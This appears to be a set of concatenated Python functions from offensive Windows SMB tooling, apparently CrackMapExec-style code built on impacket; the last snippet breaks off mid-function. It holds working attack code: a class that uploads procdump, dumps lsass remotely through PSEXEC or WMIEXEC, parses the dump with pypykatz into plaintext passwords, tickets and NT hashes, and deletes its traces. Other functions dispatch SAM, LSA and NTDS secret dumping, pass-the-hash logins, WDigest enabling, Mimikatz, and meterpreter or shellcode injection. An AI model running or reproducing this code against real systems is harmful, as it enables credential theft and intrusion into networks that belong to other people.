def query_thread(param): host, args = param try: smbconn = SMBConnection(host, host) # throws socket.error if args.nthash: # throws impacket.smbconnection.SessionError smbconn.login(args.username, '', nthash=args.password, domain=args.domain) else: smbconn.login(args.username, args.password, domain=args.domain) resp = fNetrWkstaUserEnum(smbconn) # throws impacket.dcerpc.v5.rpcrt.DCERPCException except Exception as e: sys.stdout.write('ERROR {}: {}\n'.format(host, str(e))) if type(e) == impacket.smbconnection.SessionError: if e.getErrorCode() == STATUS_LOGON_FAILURE and args.domain != '.': raise RuntimeError('Aborting: domain creds are invalid, preventing lockout') return sessions = {} for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']: username = session['wkui1_username'][:-1] logon_domain = session['wkui1_logon_domain'][:-1] oth_domains = session['wkui1_oth_domains'][:-1] logon_server = session['wkui1_logon_server'][:-1] k = '{}\\{}'.format(logon_domain, username) sessions[k.lower()] = '{} ({}) [{}] {}\\{}\n'.format(smbconn.getServerName(), smbconn.getRemoteHost(), smbconn.getServerOS(), logon_domain, username) smbconn.logoff() sys.stdout.write(''.join(sessions.values()))
def enum_host_info(self): # smb no open, specify the domain if self.args.domain: self.domain = self.args.domain self.logger.extra['hostname'] = self.hostname else: try: smb_conn = SMBConnection(self.host, self.host, None) try: smb_conn.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.domain = smb_conn.getServerDNSDomainName() self.hostname = smb_conn.getServerName() self.server_os = smb_conn.getServerOS() self.logger.extra['hostname'] = self.hostname try: smb_conn.logoff() except: pass except Exception as e: logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e)) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname
def connect(host, port, user, passwd, hash, domain="workgroup"): result = {} try: smb = SMBConnection(host, host, None, port, timeout=2) guest = False try: smb.login('', '') guest = True result.update({ 'auth': 'guest', }) except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass try: lmhash = '' nthash = '' if hash: lmhash, nthash = hash.split(':') if user and (passwd or lmhash or nthash): smb.login(user, passwd, domain, lmhash, nthash) if not guest: result.update({ 'auth': user, }) result.update({ 'os': smb.getServerOS(), 'name': smb.getServerName(), 'shares': [], }) for share, perm in _listShares(smb, passwd).iteritems(): result['shares'].append((share, perm)) smb.logoff() except SessionError as e: result['error'] = str(e) except Exception as e: result['error'] = str(e) except Exception as e: result['error'] = str(e) return result
def enum_host_info(self): # smb no open, specify the domain if self.args.domain: self.domain = self.args.domain self.logger.extra['hostname'] = self.hostname else: try: smb_conn = SMBConnection(self.host, self.host, None) try: smb_conn.login('', '') except SessionError as e: pass self.domain = smb_conn.getServerDNSDomainName() self.hostname = smb_conn.getServerName() self.server_os = smb_conn.getServerOS() self.logger.extra['hostname'] = self.hostname self.output_filename = os.path.expanduser( '~/.cme/logs/{}_{}_{}'.format( self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) try: smb_conn.logoff() except: pass except Exception as e: logging.debug( "Error retrieving host domain: {} specify one manually with the '-d' flag" .format(e)) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname
class Dumper: def __init__(self, username, password, domain, target, auth, hashes): self.target = target self.auth = auth if domain is None: domain = "" self.credentials = { "username": username, "password": password, "domain": domain, "hashes": hashes, } if self.credentials["hashes"] != "": self.credentials["hashes"] = self.credentials["hashes"].lower() self.credentials["lm_hash"] = self.credentials["hashes"].split( ":")[0] self.credentials["nt_hash"] = self.credentials["hashes"].split( ":")[1] else: self.credentials["hashes"] = None self.credentials["lm_hash"] = "" self.credentials["nt_hash"] = "" self.smb = SMBConnection(self.target, self.target, sess_port=445, timeout=4) self.host_info = self.enum_host_info() def enum_host_info(self): print("Performing enumeration") info_dict = {} self.smb.login( user=self.credentials["username"], password=self.credentials["password"], domain=self.credentials["domain"], nthash=self.credentials["nt_hash"], lmhash=self.credentials["lm_hash"], ) os = self.smb.getServerOS() arch = self.get_arch() domain = self.smb.getServerDomain() info_dict.update({"target": self.target}) info_dict.update({"os": os}) info_dict.update({"domain": domain}) info_dict.update({"arch": arch}) print("Done") return info_dict def get_arch(self): options = Namespace() options.target = self.target NDR64Syntax = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0") try: stringBinding = r"ncacn_ip_tcp:%s[135]" % self.target transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(2) dce = transport.get_dce_rpc() dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=NDR64Syntax) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: return 32 else: print(str(e)) pass else: return 64 dce.disconnect() except Exception as e: print(f"{self.target}, {str(e)}") print(f"Failed to determine {self.target} architecture") print("Attempt to proceed with 32 bit procdump") return 32 def upload_file(self): print("Uploading file") if self.host_info["arch"] == 64: src = src_x64 filename = re.sub(r"\d+", "", path.basename(src)) self.smb.putFile("C$", "/Users/Public/Documents/" + filename, open(src, "rb").read) elif self.host_info["arch"] == 32: src = src_x32 filename = re.sub(r"\d+", "", path.basename(src)) self.smb.putFile("C$", "/Users/Public/Documents/" + filename, open(src, "rb").read) else: print("Something went wrong") sys.exit(1) print("Done") def exec_procdump(self): print("Executing procdump") if self.credentials["password"] != "": password = self.credentials["password"] else: password = "" if self.auth == "psexec": executer = PSEXEC( "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul", None, None, None, int(445), self.credentials["username"], password, self.credentials["domain"], self.credentials["hashes"], None, False, None, "", ).run(self.target, self.target) if self.host_info["arch"] == 64: executer = PSEXEC( "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", None, None, None, int(445), self.credentials["username"], password, self.credentials["domain"], self.credentials["hashes"], None, False, None, "", ) else: executer = PSEXEC( "C:\\Users\\Public\\Documents\\procdump.exe -ma lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", None, None, None, int(445), self.credentials["username"], password, self.credentials["domain"], self.credentials["hashes"], None, False, None, "", ) executer.run(remoteName=self.target, remoteHost=self.target) elif self.auth == "wmiexec": executer = WMIEXEC( command= "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul", username=self.credentials["username"], password=password, domain=self.credentials["domain"], hashes=self.credentials["hashes"], aesKey=None, share="C$", noOutput=False, doKerberos=False, kdcHost=None, ).run(self.target) if self.host_info["arch"] == 64: executer = WMIEXEC( command= "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", username=self.credentials["username"], password=password, domain=self.credentials["domain"], hashes=self.credentials["hashes"], aesKey=None, share="C$", noOutput=False, doKerberos=False, kdcHost=None, ) else: executer = WMIEXEC( command= "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", username=self.credentials["username"], password=password, domain=self.credentials["domain"], hashes=self.credentials["hashes"], aesKey=None, share="C$", noOutput=False, doKerberos=False, kdcHost=None, ) executer.run(self.target) print("Done") def dump_lsass(self): print("Dumping") self.smb.getFile( "C$", "/Users/Public/Documents/lsass_dump.dmp", open("lsass_dump.dmp", "wb").write, ) print("Done") def clear_out(self): print("Starting ClearOut") self.smb.deleteFile("C$", "/Users/Public/Documents/lsass_dump.dmp") self.smb.deleteFile("C$", "/Users/Public/Documents/procdump.exe") self.smb.close() print("ClearOut Done") # def clean_up(self): # print("Searching for files") # if self.credentials["password"] != "": # password = self.credentials["password"] # else: # password = "" # if self.auth == "psexec": # executer = PSEXEC( # "dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}", # None, # None, # None, # int(445), # self.credentials["username"], # password, # self.credentials["domain"], # self.credentials["hashes"], # None, # False, # None, # "", # ).run(self.target, self.target) # elif self.auth == "wmiexec": # executer = WMIEXEC( # command="dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}", # username=self.credentials["username"], # password=password, # domain=self.credentials["domain"], # hashes=self.credentials["hashes"], # aesKey=None, # share="C$", # noOutput=False, # doKerberos=False, # kdcHost=None, # ).run(self.target) # # self.smb.login( # # user=self.credentials["username"], # # password=self.credentials["password"], # # domain=self.credentials["domain"], # # nthash=self.credentials["nt_hash"], # # lmhash=self.credentials["lm_hash"], # # ) # # pdb.set_trace() @staticmethod def dump_to_pypykatz(dump_file="./lsass_dump.dmp"): print("Pypykatz doing his job...") cmdhelpers = [ LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), ] args = Namespace() args.cmd = "minidump" args.command = "lsa" args.directory = False args.halt_on_error = False args.json = True args.kerberos_dir = False args.memoryfile = dump_file args.outfile = "temp_report.json" args.recursive = False args.timestamp_override = None args.verbose = 0 for helper in cmdhelpers: helper.execute(args) print("Removing dump file") os.remove(dump_file) print("Done") @staticmethod def create_report(filename, verbose): print("Creating report") with open("./temp_report.json", "r") as jf: parsed = json.load(jf)["./lsass_dump.dmp"] with open(filename, "w") as report: for el in parsed["logon_sessions"]: temp = parsed["logon_sessions"][el] if len(temp["kerberos_creds"]) > 0: for cr in temp["kerberos_creds"]: if cr["username"] is not None: if cr["password"] is not None: if verbose == 1: report.write( f"From Kerberos (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n" ) else: report.write( f"{cr['domainname']} / {cr['username']}:{cr['password']}\n" ) elif len(cr["tickets"]) > 0: if verbose == 1: report.write( f"From Kerberos (Domain/username:tickets) -- {cr['domainname']} / {cr['username']}:{cr['tickets']}\n" ) else: report.write( f"Tickets--{cr['domainname']} / {cr['username']}:{cr['tickets']}\n" ) if len(temp["livessp_creds"]) > 0: report.write("Did not expect creds to be in livessp\n") if len(temp["ssp_creds"]) > 0: for cr in temp["ssp_creds"]: if cr["username"] is not None: if cr["password"] is not None: if verbose == 1: report.write( f"From SSP (Domain/username:password) -- {cr['domainname']}/{cr['username']}:{cr['password']}\n" ) else: report.write( f"{cr['domainname']}/{cr['username']}:{cr['password']}\n" ) if len(temp["wdigest_creds"]) > 0: for cr in temp["wdigest_creds"]: if cr["username"] is not None: if cr["password"] is not None: if verbose == 1: report.write( f"From Wdigest (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n" ) else: report.write( f"{cr['domainname']} / {cr['username']}:{cr['password']}\n" ) if len(temp["msv_creds"]) > 0: for cr in temp["msv_creds"]: if cr["username"] is not None: if cr["NThash"] is not None: if verbose == 1: report.write( f"From MSV (Domain/username:NThash) -- {cr['domainname']} / {cr['username']}:{cr['NThash']}\n" ) else: report.write( f"NTHASH--{cr['domainname']} / {cr['username']}:{cr['NThash']}\n" ) for el in parsed["orphaned_creds"]: if "username" in el.keys() and el["username"] is not "": if el["password"] is not None: if verbose == 1: report.write( f"From orphaned creds (Domain/username:password) -- {el['domainname']} / {el['username']}:{el['password']}\n" ) else: report.write( f"{el['domainname']} / {el['username']}:{el['password']}\n" ) elif "tickets" in el.keys() and len(el["tickets"]) > 0: if verbose == 1: report.write( f"From orphaned creds (Domain/username:tickets) -- {el['domainname']} / {el['username']}:{el['tickets']}\n" ) else: report.write( f"Tickets--{el['domainname']} / {el['username']}:{el['tickets']}\n" ) os.remove("./temp_report.json") print("Done :)") def run(self): self.upload_file() self.exec_procdump() self.dump_lsass() self.clear_out()
class SMBSpider: def __init__(self, _host, _domain, _port, _user, _passwd, _hashes, _check_content, _share, search_str, _exts, _max_size): self.smbconnection = None self.host = _host self.domain = _domain self.port = _port self.user = _user self.passwd = _passwd self.hashes = _hashes self.search_str = search_str self.check_content = _check_content self.share = _share self.max_size = _max_size self.files_extensions = _exts def login(self): try: self.smbconnection = SMBConnection(self.host, self.host, None, self.port, timeout=2) try: self.smbconnection.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass print "[+] {}:{} is running {} (name:{}) (domain:{})".format(self.host, self.port, self.smbconnection.getServerOS(), self.smbconnection.getServerName(), self.domain) lmhash = '' nthash = '' if self.hashes: lmhash, nthash = self.hashes.split(':') self.smbconnection.login(self.user, self.passwd, self.domain, lmhash, nthash) return True except Exception as e: print "[!] {}".format(e) return False def logoff(self): self.smbconnection.logoff() def set_share(self, _share): self.share = _share def list_share(self): share_names = [] for share in self.smbconnection.listShares(): share_names.append(str(share['shi1_netname'][:-1])) return share_names def scanwalk(self, subfolder, depth): if depth == 0: return if subfolder == '' or subfolder == '.': subfolder = '*' elif subfolder.startswith('*/'): subfolder = subfolder[2:] + '/*' else: subfolder = subfolder.replace('/*/', '/') + '/*' for result in self.smbconnection.listPath(self.share, subfolder): if result.get_longname() not in ['.', '..']: # check if the file contains our pattern for s in self.search_str: if result.get_longname().lower().find(s) != -1: yield '%s' % os.path.join(subfolder, result.get_longname()) # if directory, be recursive if result.is_directory(): for res in self.scanwalk(subfolder.replace('*', '') + result.get_longname(), depth-1): yield res # check inside the file to found our pattern elif not result.is_directory(): if self.max_size > result.get_filesize(): if result.get_longname().endswith(self.files_extensions): if self.check_content: for res in self.search_string(os.path.join(subfolder, result.get_longname())): try: res = res.encode('utf-8') yield '%s' % res except: pass def search_string(self, path): path = path.replace('*', '') try: rfile = RemoteFile( self.smbconnection, path, self.share, access = FILE_READ_DATA ) rfile.open() while True: buffer = rfile.read(4096) if not buffer: break for string in self.search_str: indexes = [m.start() for m in re.finditer(string, buffer, flags=re.IGNORECASE)] for i in indexes: r = "{path} > {content}".format(share=self.share, path=path, content=buffer[i:].strip().split('\n')[0]) yield r rfile.close() except SessionError as e: if 'STATUS_SHARING_VIOLATION' in str(e): pass except Exception, e: print e
def __init__(self, args, db, host, module, cmeserver): self.args = args self.db = db self.host = host self.module = module self.cmeserver = cmeserver self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if ((self.password is not None or self.hash is not None) and self.username is not None): if self.module: module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, self) if hasattr(module, 'on_admin_login') and self.admin_privs: module.on_admin_login(context, self) elif self.module is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name): self.args = args self.db = db self.host = host self.module = module self.chain_list = chain_list self.cmeserver = cmeserver self.share_name = share_name self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if (self.password is not None or self.hash is not None) and self.username is not None: if self.module or self.chain_list: if self.chain_list: module = self.chain_list[0]['object'] module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if self.module: launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command) payload = module.payload(context, None if not hasattr(module, 'command') else module.command) if hasattr(module, 'on_login'): module.on_login(context, self, launcher, payload) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.chain_list: module_list = self.chain_list[:] module_list.reverse() final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command) if len(module_list) > 2: for m in module_list: if m['object'] == module or m['object'] == module_list[0]['object']: continue final_launcher = m['object'].launcher(context, final_launcher) if module == module_list[0]['object']: final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command launcher = module.launcher(context, final_launcher) payload = module.payload(context, final_launcher) if hasattr(module, 'on_login'): module.on_login(context, self) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.module is None and self.chain_list is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
def connect(host): """ My imagination flowed free when coming up with this name This is where all the magic happens """ try: smb = SMBConnection(host, host, None, settings.args.port) try: smb.login("", "") except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name print_status( u"{}:{} is running {} (name:{}) (domain:{})".format( host, settings.args.port, smb.getServerOS(), s_name, domain ) ) try: """ DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) """ smb.logoff() except NetBIOSError: pass except socket.error: smb = SMBConnection(host, host, None, settings.args.port) if ( settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None) ) or settings.args.combo_file: smb = smart_login(host, smb, domain) # Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb) shares.dump(host) if settings.args.enum_users: users = SAMRDump( "{}/SMB".format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb, ) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(host, settings.args.port, "logs/{}".format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump( "{}/SMB".format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb, ) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid( settings.args.user, settings.args.passwd, domain, "{}/SMB".format(settings.args.port), settings.args.hash, settings.args.rid_brute, ) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY( settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.kerb, settings.args.aesKey, ) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.enable() if settings.args.disable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.disable() if settings.args.command: EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb) if settings.args.pscommand: EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb) if settings.args.mimikatz: powah_command = PowerSploit(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(), host, domain, True, smb) if settings.args.mimikatz_cmd: powah_command = PowerSploit(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb) if settings.args.inject: powah_command = PowerSploit(settings.args.server, local_ip) if settings.args.inject.startswith("met_"): EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb) if settings.args.inject == "shellcode": EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb) if settings.args.inject == "dll" or settings.args.inject == "exe": EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb) try: smb.logoff() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
def main_greenlet(host): try: smb = SMBConnection(host, host, None, settings.args.port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] try: smb.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name cme_logger = CMEAdapter( logging.getLogger('CME'), { 'host': host, 'hostname': s_name, 'port': settings.args.port, 'service': 'SMB' }) cme_logger.info(u"{} (name:{}) (domain:{})".format( smb.getServerOS(), s_name, domain)) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if settings.args.mssql: cme_logger = CMEAdapter( logging.getLogger('CME'), { 'host': host, 'hostname': s_name, 'port': settings.args.mssql_port, 'service': 'MSSQL' }) #try: ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) ms_sql.connect() instances = ms_sql.getInstances(5) cme_logger.info("Found {} MSSQL instance(s)".format( len(instances))) for i, instance in enumerate(instances): cme_logger.results("Instance {}".format(i)) for key in instance.keys(): cme_logger.results(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass #except socket.error as e: # if settings.args.verbose: mssql_cme_logger.error(str(e)) if (settings.args.user and (settings.args.passwd or settings.args.hash)) or settings.args.combo_file: ms_sql = None smb = None if settings.args.mssql: ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) ms_sql.connect() ms_sql, user, passwd, ntlm_hash, domain = smart_login( host, domain, ms_sql, cme_logger) sql_shell = SQLSHELL(ms_sql, cme_logger) else: smb = SMBConnection(host, host, None, settings.args.port) smb, user, passwd, ntlm_hash, domain = smart_login( host, domain, smb, cme_logger) if ms_sql: connection = ms_sql if settings.args.mssql_query: sql_shell.onecmd(settings.args.mssql_query) if smb: connection = smb if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb, cme_logger) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb, cme_logger) shares.dump(host) if settings.args.enum_users: users = SAMRDump(cme_logger, '{}/SMB'.format(settings.args.port), user, passwd, domain, ntlm_hash, settings.args.aesKey, settings.args.kerb) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump(cme_logger, '{}/SMB'.format(settings.args.port), user, passwd, domain, ntlm_hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid(cme_logger, user, passwd, domain, '{}/SMB'.format(settings.args.port), ntlm_hash, settings.args.rid_brute) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(cme_logger, user, passwd, domain, ntlm_hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(cme_logger, host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY(cme_logger, user, domain, passwd, ntlm_hash, settings.args.kerb, settings.args.aesKey) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(cme_logger, smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest or settings.args.disable_wdigest: wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb) if settings.args.enable_wdigest: wdigest.enable() elif settings.args.disable_wdigest: wdigest.disable() if settings.args.service: service_control = SVCCTL( cme_logger, user, passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.service, settings.args.aesKey, settings.args.kerb, ntlm_hash, settings.args) service_control.run(host) if settings.args.command: EXECUTOR(cme_logger, settings.args.command, host, domain, settings.args.no_output, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.pscommand: EXECUTOR( cme_logger, ps_command(settings.args.pscommand, settings.args.ps_arch), host, domain, settings.args.no_output, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.gpp_passwords: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.gpp_passwords(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.powerview(settings.args.powerview), host, domain, True, connection, 'smbexec', user, passwd, ntlm_hash) if settings.args.tokens: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.token_enum(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): EXECUTOR(cme_logger, powah_command.inject_meterpreter(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.inject == 'shellcode': 